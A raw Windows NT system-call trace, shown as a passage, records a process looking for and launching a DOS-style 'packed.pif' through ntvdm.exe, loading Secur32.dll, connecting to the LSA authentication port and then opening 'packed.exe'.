 01841  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01842  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\System32\Wbem\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01843  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\kktools\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01844  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\Common\Tools\WinNT\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01845  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\Common\MSDev98\Bin\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01846  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\Common\Tools\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01847  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\VC98\bin\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01848  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01849  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01850  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\scripts"}, 1237996, ... ) }, 1237996, ... ) == 0x0
 01851  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01852  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01853  1356   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 2089876332, 0, 1349184, 2426504}  (24, {28, 56, new_msg, 0, 2089876332, 0, 1349184, 2426504} "\0\0\0\0?\2\2\0`\230\24\0h\1\24\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {28, 56, reply, 0, 220, 1356, 75680, 0} "\0\0\0\0?\2\2\0\10\0\0\300h\1\24\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ... {28, 56, reply, 0, 220, 1356, 75680, 0}  (24, {28, 56, new_msg, 0, 2089876332, 0, 1349184, 2426504} "\0\0\0\0?\2\2\0`\230\24\0h\1\24\0\0\0\0\0\0\0\0\0\0\0\0\0" ... {28, 56, reply, 0, 220, 1356, 75680, 0} "\0\0\0\0?\2\2\0\10\0\0\300h\1\24\0\0\0\0\0\0\0\0\0\0\0\0\0" )  ) == 0x0
 01854  1356   NtRequestWaitReplyPort  (24, {116, 144, new_msg, 0, 1242020, 2089872920, 2089878896, -1}  (24, {116, 144, new_msg, 0, 1242020, 2089872920, 2089878896, -1} "\210\6$\1\5\0\1\0p\11\221|\300\344\227|\357@\221|\0\0\0\0\20\0\0\0pa\24\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\260\6$\1\264\6$\1\0\0\0\0$\23$\1\344\6$\1@\14\0\00\23$\1t\23$\1\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0.\0\0\0\13\0\2\0\0\0" ... {116, 144, reply, 0, 220, 1356, 75681, 0} "\10P\30\0\5\0\1\0\0\0\0\0\300\344\227|\1\0\0\0\0\0\0\0\20\0\0\0pa\24\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\260\6$\1\264\6$\1\0\0\0\0$\23$\1\344\6$\1@\14\0\00\23$\1t\23$\1\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0.\0\0\0\13\0\2\0\1\0" )  ... {116, 144, reply, 0, 220, 1356, 75681, 0}  (24, {116, 144, new_msg, 0, 1242020, 2089872920, 2089878896, -1} "\210\6$\1\5\0\1\0p\11\221|\300\344\227|\357@\221|\0\0\0\0\20\0\0\0pa\24\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\260\6$\1\264\6$\1\0\0\0\0$\23$\1\344\6$\1@\14\0\00\23$\1t\23$\1\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0.\0\0\0\13\0\2\0\0\0" ... {116, 144, reply, 0, 220, 1356, 75681, 0} "\10P\30\0\5\0\1\0\0\0\0\0\300\344\227|\1\0\0\0\0\0\0\0\20\0\0\0pa\24\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\260\6$\1\264\6$\1\0\0\0\0$\23$\1\344\6$\1@\14\0\00\23$\1t\23$\1\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0.\0\0\0\13\0\2\0\1\0" )  ) == 0x0
 01855  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\WOW"}, ... 88, ) }, ... 88, ) == 0x0
 01856  1356   NtQueryValueKey  (88,  (88, "cmdline", Full, 280, ... TitleIdx=0, Type=2, Name="cmdline", Data="%\0S\0y\0s\0t\0e\0m\0R\0o\0o\0t\0%\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0n\0t\0v\0d\0m\0.\0e\0x\0e\0\0\0"}, 100, ) , Full, 280, ... TitleIdx=0, Type=2, Name= (88, "cmdline", Full, 280, ... TitleIdx=0, Type=2, Name="cmdline", Data="%\0S\0y\0s\0t\0e\0m\0R\0o\0o\0t\0%\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0n\0t\0v\0d\0m\0.\0e\0x\0e\0\0\0"}, 100, ) , Data= (88, "cmdline", Full, 280, ... TitleIdx=0, Type=2, Name="cmdline", Data="%\0S\0y\0s\0t\0e\0m\0R\0o\0o\0t\0%\0\\0s\0y\0s\0t\0e\0m\03\02\0\\0n\0t\0v\0d\0m\0.\0e\0x\0e\0\0\0"}, 100, ) }, 100, ) == 0x0
 01857  1356   NtClose  (88, ... ) == 0x0
 01858  1356   NtClose  (92, ... ) == 0x0
 01859  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\ntvdm.exe"}, 1238828, ... ) }, 1238828, ... ) == 0x0
 01860  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\ntvdm.exe"}, 1239564, ... ) }, 1239564, ... ) == 0x0
 01861  1356   NtOpenFile  (0x1000a1, {24, 0, 0x40, 0, 0,  (0x1000a1, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\ntvdm.exe"}, 5, 96, ... 92, {status=0x0, info=1}, ) }, 5, 96, ... 92, {status=0x0, info=1}, ) == 0x0
 01862  1356   NtCreateSection  (0xf001f, 0x0, 0x0, 16, 16777216, 92, ... 88, ) == 0x0
 01863  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01864  1356   NtQuerySection  (88, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 01865  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntvdm.exe"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01866  1356   NtQuerySystemInformation  (71, 4, ... {system info, class 71, size 4}, 0x0, ) == 0x0
 01867  1356   NtCreateProcessEx  (1240612, 2035711, 0, -1, 0, 88, 0, 0, 0, ... ) == 0x0
 01868  1356   NtRequestWaitReplyPort  (24, {40, 68, new_msg, 0, 1239656, 2010972160, 0, 1239484}  (24, {40, 68, new_msg, 0, 1239656, 2010972160, 0, 1239484} "\0\0\0\0\6\0\1\0\23R\0\0\20!$\0\1\0\0\0\20\0\0\0\0\0\0\0`\0\0\0essA\1\0se" ... {40, 68, reply, 0, 220, 1356, 75682, 0} "\0\0\0\0\6\0\1\0\0\0\0\0\20!$\0\1\0\0\0\20\0\0\0\0\0\0\0`\0\0\0\0\0\0\0\1\0se" )  ... {40, 68, reply, 0, 220, 1356, 75682, 0}  (24, {40, 68, new_msg, 0, 1239656, 2010972160, 0, 1239484} "\0\0\0\0\6\0\1\0\23R\0\0\20!$\0\1\0\0\0\20\0\0\0\0\0\0\0`\0\0\0essA\1\0se" ... {40, 68, reply, 0, 220, 1356, 75682, 0} "\0\0\0\0\6\0\1\0\0\0\0\0\20!$\0\1\0\0\0\20\0\0\0\0\0\0\0`\0\0\0\0\0\0\0\1\0se" )  ) == 0x0
 01869  1356   NtAllocateVirtualMemory  (96, 1, 0, 33554431, 8192, 64, ... 0, 33554432, ) == 0x0
 01870  1356   NtQueryInformationProcess  (96, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffd4000,AffinityMask=0x1,BasePriority=8,Pid=724,ParentPid=220,}, 0x0, ) == 0x0
 01871  1356   NtReadVirtualMemory  (96, 0x7ffd4008, 4, ...  (96, 0x7ffd4008, 4, ... "\0\0\0\17", 0x0, ) , 0x0, ) == 0x0
 01872  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\ntvdm.exe.Manifest"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01873  1356   NtAllocateVirtualMemory  (-1, 1351680, 0, 8192, 4096, 4, ... 1351680, 8192, ) == 0x0
 01874  1356   NtReadVirtualMemory  (96, 0xf000000, 4096, ...  (96, 0xf000000, 4096, ... "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\0\0\0\16\37\272\16\0\264\11\315!\270\1L\315!This program cannot be run in DOS mode.\15\15\12$\0\0\0\0\0\0\0\322\351\244k\226\210\3128\226\210\3128\226\210\3128U\207\2278\235\210\3128\226\210\3138\365\211\3128U\207\3058\204\210\3128U\207\2528\227\210\3128U\207\2248\227\210\3128U\207\2268\227\210\3128U\207\2258o\210\3128U\207\2208\227\210\3128Rich\226\210\3128\0\0\0\0\0\0\0\0PE\0\0L\1\3\0>}\20A\0\0\0\0\0\0\0\0\340\0\37\1\13\1\7\12\0\374\5\0\0N\4\0\0\0\0\0L\363\0\0\0\20\0\0\0\20\6\0\0\0\0\17\0\20\0\0\0\2\0\0\5\0\1\0\5\0\1\0\4\0\0\0\0\0\0\0\0p\12\0\0\4\0\0f\323\6\0\3\0\0\0\0\0\4\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\374\5\0\16\16\0\0\200\332\5\0x\0\0\0\0P\12\0\320\33\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\220\25\0\0\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0h+\0\0@\0\0\0P\2\0\0t\0\0\0\0\20\0\0\214\5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0.text\0\0\0\16\372\5\0\0\20\0\0\0\374\5\0\0\4\0\0\0\0\0\0", 4096, ) , 4096, ) == 0x0
 01875  1356   NtReadVirtualMemory  (96, 0xf0a5000, 256, ...  (96, 0xf0a5000, 256, ... "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\5\0\0\0(\0\0\200\6\0\0\0@\0\0\200\20\0\0\0\220\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\08\2\0\200\250\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\0\1\0\0\0\300\0\0\200\2\0\0\0\330\0\0\200\23\0\0\0\360\0\0\200\24\0\0\0\10\1\0\200\25\0\0\0 \1\0\200\26\0\0\08\1\0\200 \0\0\0P\1\0\200?\0\0\0h\1\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\1\0\0\0\200\1\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\11\4\0\0\230\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\11\4\0\0\250\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\11\4\0\0\270\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0", 256, ) , 256, ) == 0x0
 01876  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 01877  1356   NtQueryInformationProcess  (96, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffd4000,AffinityMask=0x1,BasePriority=8,Pid=724,ParentPid=220,}, 0x0, ) == 0x0
 01878  1356   NtAllocateVirtualMemory  (-1, 0, 0, 2268, 4096, 4, ... 9175040, 4096, ) == 0x0
 01879  1356   NtAllocateVirtualMemory  (96, 0, 0, 6272, 4096, 4, ... 33554432, 8192, ) == 0x0
 01880  1356   NtWriteVirtualMemory  (96, 0x2000000,  (96, 0x2000000, "=\0A\0:\0=\0A\0:\0\\0\0\0=\0C\0:\0=\0C\0:\0\\0s\0c\0r\0i\0p\0t\0s\0\0\0=\0U\0:\0=\0U\0:\0\\0\0\0A\0L\0L\0U\0S\0E\0R\0S\0P\0R\0O\0F\0I\0L\0E\0=\0C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0A\0l\0l\0 \0U\0s\0e\0r\0s\0\0\0A\0P\0P\0D\0A\0T\0A\0=\0C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0\\0A\0p\0p\0l\0i\0c\0a\0t\0i\0o\0n\0 \0D\0a\0t\0a\0\0\0A\0T\0L\0_\0I\0N\0C\0_\0P\0A\0T\0H\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\09\00\0~\01\0.\01\08\03\0\\0i\0n\0c\0\0\0A\0T\0L\0_\0I\0N\0C\0_\0R\0O\0O\0T\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\09\00\0~\01\0.\01\08\03\0\\0i\0n\0c\0\0\0A\0T\0L\0_\0L\0I\0B\0_\0P\0A\0T\0H\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\0", 6272, ... 0x0, ) , 6272, ... 0x0, ) == 0x0
 01881  1356   NtAllocateVirtualMemory  (96, 0, 0, 2268, 4096, 4, ... 33619968, 4096, ) == 0x0
 01882  1356   NtWriteVirtualMemory  (96, 0x2010000,  (96, 0x2010000, "\0\20\0\0\334\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\13\0\0\0\26\0\10\2\220\2\0\0\0\0\0\0T\3V\3\230\4\0\0:\0<\0\360\7\0\0L\0N\0,\10\0\0\0\0\0\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0:\0<\0|\10\0\0\36\0 \0\270\10\0\0\0\0\2\0\330\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 2268, ... 0x0, ) , 2268, ... 0x0, ) == 0x0
 01883  1356   NtWriteVirtualMemory  (96, 0x7ffd4010,  (96, 0x7ffd4010, "\0\0\1\2", 4, ... 0x0, ) , 4, ... 0x0, ) == 0x0
 01884  1356   NtWriteVirtualMemory  (96, 0x7ffd41e8,  (96, 0x7ffd41e8, "\0\0\0\0", 4, ... 0x0, ) , 4, ... 0x0, ) == 0x0
 01885  1356   NtFreeVirtualMemory  (-1, (0x8c0000), 0, 32768, ... (0x8c0000), 4096, ) == 0x0
 01886  1356   NtAllocateVirtualMemory  (96, 0, 0, 262144, 8192, 4, ... 33685504, 262144, ) == 0x0
 01887  1356   NtAllocateVirtualMemory  (96, 33939456, 0, 8192, 4096, 4, ... 33939456, 8192, ) == 0x0
 01888  1356   NtProtectVirtualMemory  (96, (0x205e000), 4096, 260, ... (0x205e000), 4096, 4, ) == 0x0
 01889  1356   NtCreateThread  (0x1f03ff, 0x0, 96, 1240620, 1240284, 1, ... 100, {724, 1276}, ) == 0x0
 01890  1356   NtRequestWaitReplyPort  (24, {168, 196, new_msg, 0, 220, 1356, 75681, 0}  (24, {168, 196, new_msg, 0, 220, 1356, 75681, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\300\344\227|`\0\0\0d\0\0\0\324\2\0\0\374\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\375\177\0\0\0\0\0\0\221| \365\22\0" ... {168, 196, reply, 0, 220, 1356, 75683, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\300\344\227|`\0\0\0d\0\0\0\324\2\0\0\374\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\375\177\0\0\0\0\0\0\221| \365\22\0" )  ... {168, 196, reply, 0, 220, 1356, 75683, 0}  (24, {168, 196, new_msg, 0, 220, 1356, 75681, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\300\344\227|`\0\0\0d\0\0\0\324\2\0\0\374\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\375\177\0\0\0\0\0\0\221| \365\22\0" ... {168, 196, reply, 0, 220, 1356, 75683, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\300\344\227|`\0\0\0d\0\0\0\324\2\0\0\374\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\375\177\0\0\0\0\0\0\221| \365\22\0" )  ) == 0x0
 01891  1356   NtResumeThread  (100, ... 1, ) == 0x0
 01892  1356   NtFreeVirtualMemory  (-1, (0x8d0000), 0, 32768, ... (0x8d0000), 8192, ) == 0x0
 01893  1356   NtClose  (92, ... ) == 0x0
 01894  1356   NtClose  (88, ... ) == 0x0
 01895  1356   NtFreeVirtualMemory  (-1, (0x8d0000), 0, 32768, ... ) == STATUS_MEMORY_NOT_ALLOCATED
 01896  1356   NtQueryInformationProcess  (96, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffd4000,AffinityMask=0x1,BasePriority=8,Pid=724,ParentPid=220,}, 0x0, ) == 0x0
 01897  1356   NtUserWaitForInputIdle  (724, 30000, 0, ... ) == 0xffffffff
 01898  1356   NtClose  (96, ... ) == 0x0
 01899  1356   NtClose  (100, ... ) == 0x0
 01900  1356   NtAllocateVirtualMemory  (-1, 0, 0, 327680, 1052672, 4, ... 2146828288, 327680, ) == 0x0
 01901  1356   NtAllocateVirtualMemory  (-1, 0, 0, 393216, 1052672, 4, ... 2146435072, 393216, ) == 0x0
 01902  1356   NtAllocateVirtualMemory  (-1, 0, 0, 393216, 1052672, 4, ... 2146041856, 393216, ) == 0x0
 01903  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "Secur32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01904  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\Secur32.dll"}, 1242160, ... ) }, 1242160, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01905  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\Secur32.dll"}, 1242160, ... ) }, 1242160, ... ) == 0x0
 01906  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\Secur32.dll"}, 5, 96, ... 100, {status=0x0, info=1}, ) }, 5, 96, ... 100, {status=0x0, info=1}, ) == 0x0
 01907  1356   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 100, ... 96, ) == 0x0
 01908  1356   NtQuerySection  (96, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 01909  1356   NtClose  (100, ... ) == 0x0
 01910  1356   NtMapViewOfSection  (96, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77fe0000), 0x0, 69632, ) == 0x0
 01911  1356   NtClose  (96, ... ) == 0x0
 01912  1356   NtProtectVirtualMemory  (-1, (0x77fe1000), 388, 4, ... (0x77fe1000), 4096, 32, ) == 0x0
 01913  1356   NtProtectVirtualMemory  (-1, (0x77fe1000), 4096, 32, ... (0x77fe1000), 4096, 4, ) == 0x0
 01914  1356   NtFlushInstructionCache  (-1, 2013138944, 388, ... ) == 0x0
 01915  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Secur32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01916  1356   NtCreateSemaphore  (0x100003, 0x0, 0, 2147483647, ... 96, ) == 0x0
 01917  1356   NtCreateSemaphore  (0x100003, 0x0, 0, 2147483647, ... 100, ) == 0x0
 01918  1356   NtOpenEvent  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\SECURITY\LSA_AUTHENTICATION_INITIALIZED"}, ... 88, ) }, ... 88, ) == 0x0
 01919  1356   NtQueryEvent  (88, Basic, 8, ... {EventType=0,SignalState=1,}, 0x0, ) == 0x0
 01920  1356   NtClose  (88, ... ) == 0x0
 01921  1356   NtConnectPort  ( ("\LsaAuthenticationPort", {12, 2, 1, 0}, 0x0, 0x0, 1243732, 140, ... 88, 0x0, 0x0, 256, 140, ) , {12, 2, 1, 0}, 0x0, 0x0, 1243732, 140, ... 88, 0x0, 0x0, 256, 140, ) == 0x0
 01922  1356   NtRequestWaitReplyPort  (88, {28, 52, new_msg, 0, 0, 0, 0, 0}  (88, {28, 52, new_msg, 0, 0, 0, 0, 0} "\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\1\0\353\6\200\0\220X\24\0" ... {188, 212, reply, 0, 220, 1356, 75713, 0} "\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\1\0\34\0\200\0\220\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0" )  ... {188, 212, reply, 0, 220, 1356, 75713, 0}  (88, {28, 52, new_msg, 0, 0, 0, 0, 0} "\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\1\0\353\6\200\0\220X\24\0" ... {188, 212, reply, 0, 220, 1356, 75713, 0} "\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\1\0\34\0\200\0\220\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0" )  ) == 0x0
 01923  1356   NtDelayExecution  (0, {-5000000, -1}, ... ) == 0x0
 01924  1356   NtDelayExecution  (0, {-5000000, -1}, ... ) == 0x0
 01925  1356   NtAllocateVirtualMemory  (-1, 0, 0, 12845056, 1052672, 4, ... 2125135872, 12845056, ) == 0x0
 01926  1356   NtQueryInformationJobObject  (0, BasicUIRestrictions, 4, ... ) == STATUS_ACCESS_DENIED
 01927  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe"}, 1240620, ... ) }, 1240620, ... ) == 0x0
 01928  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe"}, 1241356, ... ) }, 1241356, ... ) == 0x0
 01929  1356   NtOpenFile  (0x1000a1, {24, 0, 0x40, 0, 0,  (0x1000a1, {24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe"}, 5, 96, ... 92, {status=0x0, info=1}, ) }, 5, 96, ... 92, {status=0x0, info=1}, ) == 0x0
 01930  1356   NtCreateSection  (0xf001f, 0x0, 0x0, 16, 16777216, 92, ... 104, ) == 0x0
 01931  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCompatibility"}, ... 108, ) }, ... 108, ) == 0x0
